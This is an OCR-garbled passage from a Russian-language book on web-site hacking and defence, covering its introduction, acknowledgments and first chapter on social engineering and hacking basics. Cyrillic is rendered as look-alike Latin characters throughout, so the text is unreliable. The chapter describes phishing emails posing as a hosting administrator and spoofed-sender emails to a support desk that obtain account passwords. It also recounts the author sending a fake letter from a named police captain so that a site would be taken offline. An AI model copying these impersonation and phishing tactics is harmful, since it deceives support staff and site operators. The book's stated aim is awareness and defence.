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BBeaeHune

HurepHer 3axBaTbiBaeT Bce HOBbie U HOBble 06MacT, ¥ C ero NOMOLLBIO Mbl yXe
MOXKeM ynpasiasTb gaxe ObiToBoM TexHukoH. Hanpumep, aocryn x HurepHery
BCTPaMBalOT B XONOAHIbHHK, YTOOEI OH CaM MOT 3aKa3biBaTb 3aKaH4YHBalOLLHECH
npoaykrbl. Ho Bce 310 noka Tonbko Ha ciioBax W Ha BbicTaBkax. Ecniv nocMoTpers
Ha Hawy peanbHocTb, TO B ObiTy MHTEepHeT noka He npuxkuics. BosmoxkHo, uto
3TO H3-32 BbICOKOH LieHbl YCTPOHCTB, @ MOXET H3-3a 60A3HH XaKepoB.

JIW4HO 51 Ha NaHHBIH MOMEHT He roTOB NpejOCTaBUTh ynpasieHue yepes UHrepuer
Aaxe cambiMK Ge3o6uaHbIMK ObiTOBbIMH npubopamu. Ilpocreiinii npuMep: eciu
XaKep NONYYHT YnpasjieHHE XONOAWIbHUKOM, TO OH CMOXET OTKJIIOYMTb €ro,
M BCE NpOAYKTbl nponaayT. Ecin noa ero ynpasjieHHe nonaaet MUKPOBOITHOBAS
neyb, TO OH CMOXET ee Cxkeub. Jleno B TOM, 4TO neyb Henb3s BKIKOYATh NYCTOM, aa
v paboTa ¢ npoaykTaMH npH neperpeBe MOXET NpUBECTH K BO3ropanHio. U nocne
atoro Mbl GyaeM panbi, €C/IH CrOPUT HE BCA KBapTHpa.

Ho neiicTeuTeNIbHO /1M Xakepbl Tak cTpallHbl? MoxkeT GbiTb cTpax HaseaH Gnaronaps
MYPHAIUCTaM, KOTOpbIE NHUIIYT Ha TEMY MHTEPHET-BJIOMOB M MOOAT npHykpacuHTs?
Jla, nefcTBHs XaKepoB COfepHKaT yrpo3y, Ho Gonee onacHbi NPOrpaMMMUCTbl H aXMH-~
HACTpPAaTOpbi, He yaensalolHe npobreMam Ge30MacHOCTH JOCTATOMHO BHHMAaHMA.
Ownbarotcs Bce, 1 ¥ cam He Ge3 rpexa. Ho uHorga BcTpeuaeTcs oTKpOBEHHbIH
HenpodeccHOHanHu3M, KOrja HeT aaxke npocreiwux nonbitok obecneunts Web-
cepBepy AOCCTOMHYIO 3allUTy. Hallle BCero 3THM rpellar Jl0AH, HE UMEKOLLMe A0C-
TaTO4HO HaBBIKOB pabOTbl C KOMNBIOTEPOM, KOTOPbI€ TOJbKO HeJaBHO MOAKIIOYH-
nuch k UutepHety # peluuny co3aath cBoit Web-caiir.

M3 310l KHHUrK Bbl y3HaeTe, kKakUM 06pa3oM AeHCTBYIOT XaKephbl: Kak HaXoAAT ys3-
BUMOCTH M MCMOMb3YIOT UX JUIA MONy4eHUs KOHPHAEHLUHANbHOH HHpOpMALMH HIIH
AN TIONy4YeHHs aAMMHHUCTPaTHBHBIX npaB gocryna. Mbl OyaeM paccMaTpuBaTh
METOZb! B3JIOMOB Ha NPaKTHKe Ha npuMepax peanbHbiX Web-calitos. la, UMEHHO
peanbHbIX, YTOObI Bbl MOIH YBHAETL BCIO OMACHOCTb HEBHWUMATCIBHOCTH NpoO-
I'PAMMHCTOB H WIMHHHCTpaTopoB. Bee npumepsl Mbl 6yneM nojspoGHo paibHpaTs,



2 BeedeHue

M A NOCTapaloch NPEeJIOKHUTE BO3MOXHbIE BapHaHThl pellleHUS PacCMOTPEHHbIX
npobaeM 1 HcnpasieHus OWHOOK.

3ayem Mbl OyneM paccMarpuBath araku XakepoB? C OfHOH CTOpPOHbBI, 3TOT Mate-
pHan MOXHO BOCHPUHUMATb KaK WHCTPYKLMH MO BIIOMY, HO C ApYroli CTOPOHBI,
Bbl HE CMOXKETE 3aLUTHTLCA, €CNIH He GyaeTe 3HaTb, OTKYNa MOXKET TIpUIATH yrpo-
3a. JIomycTHUM, YTO Bbl MOJIKOBOAEL W XOTHTE 3ALUUTHTbL CBOIO TEPPUTOPHIO OT
BTOpKEeHUs. Bbl MOXKeTe BbIKONATh BOKPYr CBOMX 3eMesb POB, 3aMHHUPOBaThb J0O-
pOr# U pacTAHYTH KOJIIOMYIO NpOBOJIOKY, HO BCe 3TH AeiictBusa 6yayt Geccmbic-
NEHHBIMH, eciTH Bpar roToBUT BO3AYLLHbIH ynap. [loaToMy cHayana cnenyer Bbisic-
HWTb, KaK MOXeT NeiCTBOBaTb HEMPUATENb, @ MOTOM YXe HCKaTb JOCTOHHbIN
oteeT. IMeHHO Tak Mbl M nocTynum: GyeM paccMaTpuBaTh BOIMOXHYIO Yrpo3y, a
MOTOM WCKaTb 38LIMTY OT Hee.

Yro nogpasymesaerca noa B3niomom Web-cepsepa? Jto B3nom Web-caiita unu
cnyxk0Obl, kotopas obpabarbiBaer Web-ctpannupi? Mbi Gynem paccmarpHBath
npobneMy KOMIUIEKCHO, BKJIOYas 3aliUTy anmapatHOW 4acTH H OnepauoHHOH
cucrembl (OC), a Takke Web-cepeepa, 6a3 faHHbIX ¥ caMUX CLIEHapHEB, KOTOpbIE.
BbinonHsAoTcA Ha Web-cepeepe. AnnaparHyio yacth # OC mbl 6yaem paccmarpu-
BaTb NOBEPXHOCTHO, MO Mepe TOro, Kak NoHagoOHTCa HaM Ta MM HHas MHpopMma-
uua. [TpocTo a1 He Aymalo, YTO CTOMUT JIMILHKH pa3 rOBOPHTb O TOM, Kak 3alllUIIaTh
BIOS komnbioTepa MMM 3arpy34Mk: 3TOT BONPOC YXK CIHULIKOM OTAANEH OT Tema-
THKH KHHUTH.

YTO He BOWISO B KHUTY

Yro He Oyner pacCMOTPeHO B AaHHOW KHHre nogpobHO, Tak 3TO counalibHas HH-
KeHepHa. ITY TeMy Mbl 3aTPOHEM JIKILb NOBEPXHOCTHO, XOTA HMEHHO 3TOT METOJ
NO3BONAET OCYLIECTBHTb B3IOM AOCTaTOYHO ObicTpO M 3¢ dekTBHO. TyT MOXKHO
nUcaTh OTAENLHYIO KHHUTY, M ecn¥ Bac WHTepecyeT Gonee noapobGHasa HHGopma-
uMA, To coBeTyro obparuTbesa nubo k Moel kHure "KomnbloTep riazamu xakepa"
[5], nubo k xuHre rypy counanbHoi HHkeHepun KesuHa Mutnnka — "HckyccTso
o0MaHa: KOHTponUpOBaHuKe yenoBedeckoro ¢akropa B 6esonacHocTn” [1].

B HekoTOpbIX cliyyasx 11 NOHUMAHHS NPEACTaBIEHHOrO MaTepHalia MOTryT NoHa-
A0OUTbCA 3HaHWA nporpamMmuposaHusa. KoHeuHo ke, 8 nocTapaioch BCE ONUChI-
BaTh JOCTYMHO M MOHATHO KaXXAOMy, BHE 3aBHCHMOCTH OT YPOBHS NOArOTOBKH,
M BCE XK€ ONBbIT NporpaMMHUpoBaHus M 3HaHHe komaHa OC Linux XenaresibHbl.
O 6e3onacHoctd OC Linux K ee xoMaHAax MOXHO no4uTaTh B kHHUre "Linux rna-
3aMH xakepa" [2], a o nporpammupoBaHuu 1uis MuTtepHera Ha sa3bike PHP MoxHo
y3uaTh U3 kiuru "PHP rnazamu xaxepa” [3].
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BbnarogapHocTu

B xaxxno# ceoelt kuMre s Gnarogapio Tex, kTo noMoraer MHe B pabore. He yctaHy
6naronapuTh cBOMX POAHBIX U 6nH3KkMX (3KeHy, Aerel, poauTenei), KOTopbie exe-
JHEBHO OKPYXKAIOT MEHA M TEPNAT MOU UCYE3IHOBEHHA B BUPTYaNbHO# peanbHOCTH.

He Mory 3a0biTh M npo cBOMX Apy3eit no Web-caiity www.vr-online.ru. Otaens-
Haa GnaroxapHocTh AnekcaHapy JIo30BCKOMY, ¢ KOTOpPBIM MBI APYKHM Yxe J0f-
rHe [OAbl, HUMEHHO €ro pemeH3nn MoXHO HaGmiogarh Ha 3anHeil obnoxke 6onb-
LKHCTBA MOMX KHHT.

OraenbHas 6narogapHocts n3natenbcTsy "BXB-ITerepbypr” u scem ero cotpya-
HUKaM, KOTOpbl€ NOMOraJid MHE B CO3aHIH 3TOH KHHUTH.

Xouy nobnaronaputb BCEX MOMX YHTaTeNeil ¥ Bac, 3a TO, YTO KYNWIH 3Ty KHHTY,
a He ckayanu u3 FHTepHeTa HelleranbHylO KOMNHUIO, H HaAeloCh, YTO 3Ta paboTa BaM
noupaBurcs. Mbl nocrapanuch caenatb Bce Heobxoaumoe, yrobbl kHura Gbina
MHTEPECHOM W HUKTO He noxXaJien MoTpauyeHHbIX Ha Hee JeHer.,

Ecnu BO3HHKHYT BOTIPOCHI HJIM NOXENAHHA MO YJIYYIUEHUIO NAHHOH KHHUrH, TO BbI
BCErla MOXETE CBA3aTbCA CO MHOM no 3nekTpoHHol noyte horrific@vr-online.ru.
Ho sryuwie Bce xe 3anaBaTh Bonpockl Ha gopyme Web-caiita www.vr-online.ru, rae
1 GbIBal0 HAMHOIO Yallle.

Bce Bnagenbifbl B3NOMaHHbIX MHOIO BO BpeMsl HanucaHus 1ol kiMru Web-caiTos
ObTH M3BELteHb! O HaHAEHHBIX YA3BHMOCTAX, O3ITOMY, €C/IH Y BaC HE NOMYUHIOCH
NOBTOPHTb ONMUCAaHHbIE JEHCTBHUA, 3HAYUT, OILHOKY y)Ke HCnpaBuUIH.
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OcHOBbI Oe3onacHoCT™

B 3To0ii rnaBe Mbl NO3HAKOMHMCS C UCXOAHBIMH MOJOXKEHUSAMH, KOTOPble NO3BONAT
HaM Y3HaTb, KaK Xakepb! B3naMbiBaloT Web-caiiTel. B Havane rnasbl nOBepXHOCTHO
Gysaer 3aTpOHYTa TeMa COLMANBHON HH)KEHepHH, B JanbHelilleM Mbl He GyaeM Hc-
NoNfb30BaTh ee (Hy MOXET COBCEM YyTb-4yTh) A/ AOCTHXKEHHA HeoOXOauMoro
pesyabrara. [lTocie Mbl MO3HaAKOMHUMCA C OCHOBaMH B3IOMa W PacCMOTPUM BO3-
MOXXHble BapHaHTbI 3aLLUTbl OT HEro.

CoaepxMoe 3TOi rnaBbl nepeceKaeTcA C HEKOTOPbIMH OTPbIBKAMH M3 IpPYTHX
MOMX KHHr. Jleno B ToM, 4TO B Hel 2 cobpan Bce caMoe HHTEpECHOE U3 CBOMX Npe-
AblAYLUHX paboT, JONOAHKA H OOHOBHA HH(OPMALIMIO C YYETOM TeKYLIIUX peasinii,

1.1. CounancHana uHXxeHepusa

CouvanbHas HH)KEHEpHA — CaMoe MOLHOe opykHe Xakepa. C ero noMouubio
NpoUCXoauio GoNbLIMHCTBO Haubonee rpOMKHX B3JIOMOB M CO3JaBalHCh cambie
H3BeCTHble BHpPYCbl. BcnoMHuTe BUpYyC AHHbI KypHHKOBOH, Koraa nosib3oBaTensaM
NpUXOAUIO MHCbMO C BJIOXKEHHEM M TNpeAIoKeHHeM nocMoTpeTh (oTtorpaduio
obHaxeHHOH AHHbI. DTO TOXKe couManbHas HHXKEHepHs, KOTOpas WUrpaer Ha cja-
bocTax yenoBeka. S gymaro, 4To AOOONBLITCTBO MYXYHUH (@ 3T0 OOnbLIAA YacTb
nonb3opareneit HHTepHeTa), KOTOpEIE 3amyckany npuKpenyieHHbl# Gain U Takum
ofpa3om 3apaxkanu CBOIH KOMNbIOTEpP, NOMOTNO pacnpoCTPaHEHHIO 3TOr0 BUPYCA.

CouManbHas HHXXEHEpHA OCHOBaHa Ha MCHXOJIOTHH YelioBeKa M HMCMoJib3yeT ero
cinabble cToponbl, C ee NOMOLIbIO XaKepbl 3aCTaBAAIOT XKEPTBY AeNarb TO, YTO UM
(lyXKHO: 3apaxkalOT KOMMBIOTEpPbI, NoNyyatoT napony. Ckonbko pa3 f Chbillan npo
yKpaJieHHble HOMepa KPEeAUTHBIX KapT € NOMOULBIO NpOCThIX NouToBbIX coobweHuHN.
Ilosnb3oBaTens nonyyaer nucbMo ¢ npocbBoi cooblmnTh CBOH naponb, NOTOMY YTO
Ga3a naHHbIX GaHka MOpyLIMIAch M3-3a MOroAHBIX YCHOBHHA, NPOKA3 XAKEPA HIH
leucnpaBHOCTH o6opynoBanns. Huuero He noao3peBaioliue NoALIOBATE/IK BCOTAA
¢000ILAIOT JaHHbIE, NOTOMY YTO GOATCA NOTEPATH HHPOPMBLIHIO,
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Ha, B mocieaHee BpeMa AOBEPUUBOCTb y nonb3oparened UHTepHeTa yMeHblLaeTCs
6naronaps CMH. Tenepb yxke Bce cioxkHee HaTH uyenoBeKa, KOTOpbIH OTKpoeT
cBO/ napoJyib B OTBET Ha NOAJENIBHOE NUCbMO OT ciyxk06b1 noaaepxku. Ho u xake-
pbl He JPEMAIOT H HIIYT BCE HOBbIE M HOBble METOABI BO3AeHCTBHA.

EcTb 1 Takue Xakepbl, KOTOpbIE PeAKO NPHAYMBIBAIOT YTO-THOO HOBOE, 2 UCNOb-
3ylOT CTapble ¥ NpoBepeHHble cnocobbl. M, HeCMOTpA Ha 3TO, BCeraa HaXxOoAATCs
XKEepTBbI, KOTOpPble MOMANATCA Ha Yaouky. S nonb3yiock HHTepHETOM yike oueHb
AONroe BpeMA, M eXKeIHEeBHO NOMy4alo NEeCATKH NHcem ¢ npocbGoit 3amycTuTh
datin ans oGHOBNEHHS 3aLHTbI UM I TOro, YTOObl YBHAETb YTO-TO MHTEPECHOE.
A Besab GONBIIMHCTBO OTNpaBHTENEH — NONB30OBATENH 3apaXKeHHbIX KOMMbIOTE-
pOB. 3Ha4HT, KTO-TO OTKPbIBAET TaKHE BIIOYKEHHA.

HecMmoTps Ha WHPOKOE HCNONIB30BaHHE 3AlLHTHBIX MPOrPaMMHBIX KOMIUIEKCOB
M aHTHBMPYCHBIX TIPOrpaMm, KONHYECTBO BHPYCOB He yMmeHblnaercs. Kawabiid
aeHb B HIHTepHeTe NOABAAIOTCA HOBbIE MONb30BATENH, KOTOPbIE €Ule HHYEro He
3HAlOT O Mepax MNpeaoCTOPOXKHOCTH. UMeHHO OHH yallle BCero nonajaloTcs Ha
pa3iu4Hble YIOBKH.

Hrtak, KaBaiiTe pacCMOTPHM HEKOTOpbIE CHOCOBbI, KOTOPbIMH NONIb3YIOTCA XaKepbl.
OTO NOMOXKET BaM pPacno3HaBaTb UX H BbIAENATb TMNOMBITKH MNCHXOJIOrH4eCcKOoro
BO3AelicTBHA OT npocTtoro obueHus ¢ aoabMHA. [IoMHHTE, 4TO couManbHas HHXe-
HepUA MakKCUMaJIbHO CHibHA B IHTepHeTe, KOraa Bbl HE MOXKETE BOOUMIO OLEHHUTD
HaMepeHHs cBoero cobecenHHKa.

B nocnegHee BpeMs CHOBa HauMHaeT HaOMpaTb XOZ METOA BIIOMa yepe3 CMEHY
napons. S cran 6onblie nony4aTbh nUceM ¢ nNpocbOoi OOGHOBUTb CBOM PEKBH3UTHI
Ha Web-crpanuue GaHka, ¥ npu 3TOM ccblika U3 NUCbMa YKa3biBaeT COBEPLUEHHO
Ha apyroii Web-caiiT, rie BBeJeHHble Nnonb3oBaTeNeM JaHHble NONajaioT B PyKH
Xakepy.

HenarHo MHe npHILIO NMHCLMO, B KOTOPOM HCNOML30OBANCA OYEHb CTapblii U AABHO
3a0bITblii cnocob couranbHoO HHKeHepHH. [THCbMO UMeNno npUMepHO creayioLlee
coaepkaHue: "3apaBcTyiiTe. Sl anMHUHUCTpaTOp XOCTHHIOBOH koMnaHud XX XXX.
Haiua 6a3a Gbiia nogBep)keHa aTake CO CTOPOHbI Xakepa, U Mbt HOMMCS, YTO HEKO-
TOpble AaHHble OblnM u3MeHeHbl. [lpocbba npocMoTpeTs cnesyiollyto HHpopMa-
LAIO, ¥ €CJTH YTO-TO HEeBepHO, TO coODLMTE MHE, 5 BOCCTAHOBIO AaHHbie B Ba3e”.

[Mocne 3Toro ciieaoBaNno nepevyucieHHe NaHHbIX 000 MHe, KOTOpble JIErko nosmy-
4uTh ¢ NoMoULbio cnyxOpl Whois. Ha nio6om Web-caiite pervctpaiimu 1oMeHOB
ecTb Takas chyx0a, no3sonslOUlas onpeaensTb UM BianeNblia JOMeHa. Xakep
BOCMONb3OBAICH ITHM M yKa3al B NUCbMe BCIO HalaeHHYI0 WHpopMauuio. [lomu-
MO 3TOro OH YKa3an elle [ABa napameTpa: MMs noJib3oBaTens W naposb. KoHeuHo
Ke, 3TH AaHHble Xakep He MOr 3HaTb, NOJITOMY 3/ieCh ObLUTM HEBEPHbIE 3HAYEHHUS.
Kakas-10 yactb nonb3oBaresield npH NosyyeHHUHU TakKMX MUceM TEPAIOTCH, H, BOTHYAChH
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3a cBoif Web-caiiT, nUUIyT OTBETHOE MHCbMO, B KOTOPOM COOOLLAIOT JIKeagMH-
HUCTpaTopy, a TOuHee — XaKepy, CBOH npaBUibHbIE NapaMeTpbl JOCTyNA.

B kayecTBe pasHOBHAHOCTH TAKOrO B3/IOMa MOXKHO MNPHBECTH KJacCHUYeCKUit ciry-
yaii co ciyxboi noagepxkku. JomycTum, 4To BaM HyXKHO B3noMaTb Web-cepeep
XOCTHHIOBOH KOMNaHWH, rie pacriofiokeH HyxHbIH BaM Web-caiit. Bel 3soHHTE
HIH MHUIETE 3AeKTPOHHOE NHCHMO B CYOy Moaaepxku KoMNaHUHU ¢ BOMPOCOM:
"[ToueMy A ¢ Takoli-TO YYeTHOWH 3anKcbiO0 He Mory 3aiWTu Ha cepsep?” [lpu 3TOM
HY>KHO YKa3aTb NpaBUAbHBIA JIOrUH (MMA) ¥ moGol naponb. PaboTHHKH cyxObl
noanepxkyd ob6s3aHbl TIOMOraTthb, NO3TOMY, YBHAEB OLIHMOKY, OHM BLILLIIOT BaM
npaBUIbHBIA Napoib.

Ecnu Bbl ucnonbsyere mis o6UIEHHA cO Cy)K00i noaaepKKH INeKTPOHHYIO noy-
TY, TO TYT riaBHoe TIOAAENaTb ajpec Mojab30oBaTeNs, AOCTYN K YYETHOW 3anucH
KOTOpOro Bbl XoTHTe nonayyutb. Cnyxba noauepkku He npoBepseT aapec OTpa-
BUTENA, KOTOpbIH (anbcudpuunpyerca odeHb nerko. Ilpocro nporoxon SMTP
(Simple Mail Transfer Protocol, npocroii nporokon 3nekTpoHHO# no4Tkl) paboTa-
et Oe3 aBTOpH3alMH M B KaYeCTBE OTNpPaBUTENS MNO3BONAET yKa3blBaTb BCE, YTO
YrogHo.,

JIaHHBIA METOA MCMOb3yeT XOPOLUNI NCHXONOTHYECKHII NpUeM: CHayana NpuBo-
AMTCA [OCTOBEpHas WH(OpMauus, W TONLKO B napameTpax AOCTyna 3ajoXeHa
ownbka. Takum o6pa3oM 3aBOEBbLIBAETCA pPacnonoKeHWe W [OBepHe KEpTBbl,
¥ BEPOATHOCTb NOJNYYHTb Napo/b JOCTATOYHO BBICOKA, €C/TH MONb30BaTeNb He 3Ha-
KOM C TaKUM MPHHLMNOM COLHANBHOH HHXXEHEPHH. DTO NOATBEPHAAET MHOMECT-
BO 3HaMEHHTHIX B3TOMOB B 80-X I'T. NpOLIOro CTONETHA.

3anaya Xakepa — BOWTH B JOBepHe K 3aLLMLLAIOLIEHCA CTOPOHE M y3HaTb Napou
nocryna. Jlns 3TOro Mcnonb3ylOTCA NCHXONOTHYECKHE NpHEeMbl BO3€iCTBUA Ha
nU4YHOCTh. HenoBeky CBOHCTBEHHbI! IIOOONLITCTBO, OBEPUYUBOCTb H YYBCTBO CTpa-
xa. Jlioboe U3 3TUX YYBCTB MOXET CTaTb NPUYHHON yTepH HHPOPMaLIMH.

Braroaaps w3nuimHeMy N0OONBITCTBY Mbl BEPHM NpH3bIBaM OTKPbITb MpPHKpPEN-
NEHHbIH K NUCbMY (paiin, U CaMOCTOATENLHO 3allycKaeM Ha CBOEM KOMMbIOTEpE
BHpyc. B cuny Haweil noBepUMBOCTH XakepaM yIaeTCs Yy3HaTb CEKPETHYIO WH-
¢popmauuio. Ho camble cunbHble 3MOLMH BbI3biBaeT CTpaX. MMeHHO Ha cTpaxe M
Oos3HM noTepy naponei ocHoBaHa OOnbllas YacTb aTak, C NOMOLIbKD KOTOPBIX
NoNb30BaTeNs BbIHYXKIAIOT cka3aTb HeOOXOAUMbiE CBEAEHHUS.

Eme oaHa cnabocTb, KOTOpas OYEHb YACTO NPUBOAMUT K MNONOKHUTENbHOMY pe3yilhs
TATY: JKaJHOCTb M an4HocTb. JleHbry nopTaT ntoaeH, a Xakepbl YMEIOT 3TUM NOJIbe
30BaTbcA, Haumydlunii pe3ynbTaT AOCTHraercs Toraa, KOraa Xakep HCnonb3yer
cpaly Heckonbko cnabocTeii, Hanpumep, U CTpax, H O6ONBITCTBO OANOBPEMEHHO,

Eiue o/iMH npuMep K3 nuuHoi xu3HK. OaHaXXAb MHE HACOJIMN OfIMH XaKep, MHE
1POCTO NeHb BbII0 HCKaTh kakKe-To OlKMGKH B clieHapuax ero Web-caftra, a xoTenoos
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kak-To npoyunthb. C noMoueto Whois a y3Han, Ha kakom Web-cepBepe HaxoauTes
Web-caiiT Moero obuauuka, U Haluen axpec 3NMeKTPOHHOM MOYThl CAYXObl noa-
AepKkH ero nposalinepa. Jlanee neiicTBHA ObINM NPOCTHIMKM: A 3aBesl BpeMeHHbIH
NoYTOBLIIA ALIHK, HTOORI He BBLIATE CBOErO peasibHOro ajipeca, M MONpPOCHI CBOEro
Apyra, yToObl OH OTTIPAaBHI TTMCbMO NPHMEPHO CNEAYIOEro coaepaxkaHua: "3apas-
cTByite. Bac Gecrokout kanutaH munMuud Bacunuii Tlynkud w3 Vnpaene-
Hua K JlenuHckoro paitoHa ropoga Mocksel. Ha Bawem cepBepe HaxoauTcs Web-
caiiT xakepoB ¢ uHdopmauueii, Hapywatoweii YK P®. Ilpocum Bac camocros-
TENbHO NPHHATL Mepbl, Nabbl He YCNOXKHATb cUTYauuto. C yBakeHHeM, Bacunuii
[Tynkun".

Bot Tak BOT ckpoMHeHbKO, HO co BKycoM. KoHeuHo, Bmecto "Bacunuii Ilynkuq"

Ob10 UMR Gonee noxoxkee Ha peanbHoOe, NMOITOMY AIMHHHUCTPaTOp TMOBEPHN —

Web-caliT TyT e OblT 3aKkpbIT M OCTaBaNCA HEAOCTYNHbIM B TEYEHHE ABYX 4acoB.

INocne ero pabota 6bina Bo306HOBNEHA, @ MHE MPHLLNO NUCBEMO, B KOTOPOM aiAMH-

HUCTPATOp NOMHTEpPECOBANCH, C KakKX 3To nop YnpasneHue K cuant Ha ADSL-

kaHane B Pocrose-Ha-Hony? Mla, HyxxHOo Oblno Hcnonb30BaTh NpPOKCH-CepBeEp,

a y4lle NpoCcTO HaMUCaTh, YTO A kanHTaH HMEHHO POCTOBCKOro OT/AeNeHHA, TOrja -
Ha onpeaeneHne oOMaHa yuno O6bl HamHOro Gonblle BpemMeHu, a Web-caliT xakepa

ocraBancs Obl HeAOCTYNHbIM Goslee JOArKHiA Cpok.

Xakepbl NONb3YIOTCA COUMANbHOW HMHXKeHepHel HezaMeTHO, HO 3 dekTHBHO. Bbi
JaKe He fovyBCTBYETE NOABOXA, KOrAa Y BaC MONPOCAT Mapoib HAH CEKPETHYIO
“HpOpMaLMIO, H NOCAYWHO Bce oraanuTe. UToObl He nonacTbcsa Ha KPHOUOK, Bbl
LOMKHBI UMETb MpeacTaBlieHHEe O TOM, KaKHe METOAbl COLHANbHOM HHXXEHEpHH
MOTYT HCNoNb3oBarbci AJI1 NOCTHIKeHUA HeoGxoaumoit uend. C OCHOBHBIMH
METOaMKU MOXKHO MO3HAKOMHTBLCA B KHUIe CaMoro 3HaMeHHToro Xxakepa — Kesu-
Ha MutHuka [1].

1.2. OcHOBbI B3noma

VYHusepcanbHoro cnocoba eanoMa MurepHera He cyulectsyer. Kaxabiii pa3s npu-
XOJMTCA HUCKaTb CBOE pelleHHe, KOTopoe oTkpoer Heobxoaumyto asepb. [a, ecTsb
aTraku, KOTOpble MOTYT YHHUTOXHUTb toOyto 3awmty: DDoS (Distributed Denial of
Service, pacnpesesieHHas aTaka Ha oTka3 B oOcayxuBaHMM) UNK noaGop naposnei,
HO 3aTpaTbl Ha MpOBeAEHHE 3TUX aTak MOTYT OKa3aThCa CAHIIKOM Gonblumuy,
XOTS OHH He TpeSYIOT MHOro yma W JOCTYNHbl A8 peanu3auuy AaKe HOBUUKY.
3a B3nom cepBepa ¢ nomoubio nepebopa naponed nau 3a DDoS-ataky Xakepsl
HUKOrga He OyayT npu3HaHbl OOLLECTBEHHOCTbIO KaK MpPO(EcCHOHaNbl, MO3TOMY
K nofgoOHLIM MeToAaM NpuberaloT ToNbKO B KpalHHX Cay4asX U, B OCHOBHOM, Ha-
YU HAIOLLME BITOMLIHKH.
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IMoyeMy KONUYECTBO aTaK ¢ KaKABIM FOXOM TOMBKO yBenHuuBaeTca? PaHblue Bca
uHpopMmauua o6 ys3BUMOCTAX XpaHunach Ha 3akpbiThix BBS (Bulletin Board
System, 35eKTpoHHas Jocka oObABaeHHt) U ObUla AOCTYNHA TONbKO H3GpaHHbBIM,
K 3Toli kaTeropuu OTHOCHIHMCbL U Xakepbl, COBepluaBline OelHakazaHHbIE aTaKH,
MOTOMY YTO ypOBEHb MX 3HAHMH W ONbITHOCTH GblN JOCTATOYHO BHICOK. IIPOHMK-
HYTb Ha Takylo BBS HenocBsueHHOMY Ui HOBHUKY ObLNI0 OMEHb CIIOXKHO, a valle
BCEro NpocTo HeBO3IMOXHO. HHpopmauus o6 yaA3BHMOCTAX U nporpaMmbl A
peanu3aluy aTak OblJIM JOCTYNHbI OTPaHHYEHHOMY KONTHYECTBY Nioaei.

B HacTosulee ppeMs cBeaeHUs 00 yA3BMMOCTAX CTAlM AOCTOAHHEM O0ULIECTBEHHO-
cTH. Tenepb B3OMOM, B NPUHLIKIE, MOXKET 3aHUMATBHCA KTO YrOAHO. JTOMY CNO-
coOCTBYET MOABNEHHE MHOXKECTBA NporpaMm, KOTOpble aBTOMAaTH3HPYIOT MpoUece
B3/IOMa U NpH 3TOM JOCTYNHbI N106oMy nonb3osatento HHTepHera. B HexoTOpBIX
CllyyasiX AOCTaTO4HO TONbKO yka3ath aapec Web-caiita, kotopbi#fi Bbl XOTHTE
B3/IOMaTh, HaXKaTb Ha "BONWEOHYI0" KHOMKY, H KOMMbIOTEP CAeNaeT Bce HeobXo-
auMmoe caMm 6e3 Baulero BMELIATENbCTBa, NpH 3ToM Bbl abcomoTHo He Oynere
3HaTb, KaK 3TO MPOU3OULITO.

C onHo#t cTopoHbl, HH(pOpMauUs AeHCTBUTENbHO AOMKHA ObITh OTKPLITOH. AAMH-
HUCTPATOPbI, 3Has METObl B3/IOM2, MOTYT NOCTPOHTb COOTBETCTBYIOILYIO 3ALLHTY.
Hpyroe neno, 4To faneKko He KaKAblH CleauT 3a TeHAeHUMAMHM B Ge3onacHOCTH,
U Aanexo He BCe aJMMHUCTpatopbl oTpabaTbiBaloT CBOKO 3apimiaty, crpos 6e3o-
NacHble CETH.

C mpyroii cropoHbl, ecnu 3akpblte Web-caitTbl, Ha KoTOpbIX coaepkUTCs HHOP-
mMauus o6 ys3BUMOCTAX, TO KONHYECTBO aTak pPe3KO COKPAaTHUTCH. BonbLUMHCTBO
B3/JIOMOB COBEpLUIACTCA HMMEHHO HenpodecCHoHanamH, KOTOpble HaLUWTH TAe-TO
nporpamMy s COBEPLIEHUS 3NONESHHH, H BBINOTHUIH €e.

JInuHo s pa3pbiBalOCh MexX Ay ABYX OTHEH W He MOry nporojocoBaTb 3a OTKpbI-
TOCTb MJIH 3aKpbITOCTh HH(popMauuH. C 0xHOH TOUYKH 3peHHs, UHDOpMaLUs AOMK-
Ha OBITb OTKpbIT2, a2 aAMUHUCTPATOPbl U NPOrpaMMHCTbI JOMKHBI GbITh BHUMA-
TeSibHee H ObicTpee pearHpoBaTh Ha HaiileHHble OLIMOKH, a C ApYroi, ee Myuule
3aKpbITb, YTOOb! Y 3N10YMBIILIEHHHKOB He ObUTo cofnasHa HCMob30BATL FOTOBBIE
nporpaMMmbi.

HagepHoe, s Bce e nporofiocyko 3a OTKPbITOCTb, HO MPH 3TOM NPaBOOXPAHHUTEND-
Hble OpraHbl [JOMKHbI Jydllle KOHTPONHpOBaTh 0e30MacHOCTb M pearpoBaTh Ha
JleiicTBua BaHganoB. [a, 1 3a perynuposanue MurepHera. Kaxaoe obwecrso Tpe-
OyeT pa3syMHOro yrnpaBieHHs. DTO He 3HAYMUT, 4YTO 3a KAKAbIM KIMKOM HYXHO cle-
JIUThb, 3TO 3HAYMT, YTO B3JIOMbl JOMKHbI HaKa3blBaTbCA MO OnpeaefeHHbIM 3aKo-
11aM. Mbl JOJKHBbI BeCTH cebs UMBHJIM3OBAHHO, WHade, Kak pakoBas OMNyXOJb
YIHYTOXKAET XKHUBOH OpraHu3M, Mbl YHHUTOXKHM cCaMH cebs.
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BezycnoeHo, uHTepecHo HabnioaaTh 3a TeMm, KaK JBe KOMaHAbl XaKepOB BOIOIOT
Mmexxay coboii, BanambiBas Web-caliTbl Apyr Apyra, HO BCe AOMKHO MMETb CBOM
npenen. Kakoii ator npeaen, s cyautb He Mory. HuKTO He MOXeT BbIHECTH pelue-
HHe, KakuM ObiTe HHTepHeTy, moToMy 4TO Ha JaHHbLIH MOMEHT OH cBoOOAeH
¥ B Ka)XIO# CTpaHe noguyuHsercs cBouM 3akoHam. Ho HurepHer — aTo eauHoe
olluecTBo, a 3aKOH AOMKeH ObITh ana BceX eauHbiM. [Toka He Oyaer 3akoHa, ero
colIIoAeHHs U KOHTPOAA, aHapXua GyaeT npoaonkarbes.

1.3. UccnepnoBaHue

Koraa mbl cTpOUM JTMHHIO O6OpOHBI, HEOOXOAHMMO NOHUMATD, KaK XaKepbl aTaKy-
IOT KOMMBIOTEPHI CBOMX JepTB. TOJAbKO TOrAa MOXHO NpeAOTBPaTHTb Hexela-
TeNbHOE BTOPXKEHHE U 3alUTHTL cUCTeMy. OO0 3TOM 5 y)Ke roBopuST U ceiiuac HaM
